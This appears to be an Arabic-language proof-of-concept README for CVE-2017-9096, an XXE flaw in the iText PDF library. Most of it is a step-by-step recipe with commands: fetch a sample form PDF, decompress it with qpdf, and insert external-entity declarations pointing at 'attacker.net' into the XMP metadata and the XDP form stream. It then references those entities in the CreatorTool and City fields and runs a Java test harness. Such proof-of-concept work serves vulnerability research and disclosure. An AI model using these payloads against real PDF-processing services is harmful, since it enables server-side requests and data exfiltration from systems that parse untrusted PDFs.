
إثبات المفهوم لاستغلال CVE-2017-9096 يوضح حقن الكيان الخارجي XML (XXE) في مكتبة iText PDF عبر بيانات XMP وحقول النموذج الخبيثة.
احصل على ملف PDF يحتوي على نموذج:
wget https://www.pdfscripting.com/public/FreeStuff/PDFSamples/ModifySubmit_Example.pdf -O input.pdf
لفعل ذلك، تحتاج إلى فك ضغط PDF باستخدام qpdf --qdf --object-streams=disable input.pdf output.pdf ثم يمكنك تحرير PDF بمحرر نصوص وإضافة XML ضار.
يمكنك وضع XEE في بيانات XMP الوصفية في السطر 77:
stream
<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?>
<!DOCTYPE foo [ <!ENTITY xxe2 SYSTEM "http://attacker.net" > ]>
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 4.0-c321 44.398116, Tue Aug 04 2009 14:24:39">
وبالطبع ضع المرجع أيضًا في مكان ما، مثلًا السطر 88:
<xap:CreatorTool>Adobe LiveCycle Designer 8.0 &xxe2;</xap:CreatorTool>
يمكنك أيضًا إضافة XXE عادي إلى الملف. انظر هذا الجزء في المستند الأصلي (يبدأ من السطر 740):
stream
<?xml version="1.0" encoding="UTF-8"?>
<xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/">
endstream
endobj
غيّره إلى ما يلي:
stream
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://attacker.net" > ]>
<xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/">
endstream
endobj
ثم، فقط أضف المرجع إلى مكان ما، مثلًا حقل المدينة (السطر 1845 في المستند المفكوك الضغط الأصلي). غيّر هذا:
<text
>City:</text
></value
>
إلى هذا:
<text
>City:</text
><xxe>&xxe;</xxe></value
>
ستجد ملف PDF المصحح الذي يحتوي على كلا XXE في هذا المستودع أيضًا (output_with_xxe.pdf)
قم بتشغيل تطبيق Java لاختبار PDF باستخدام mvn clean compile exec:java.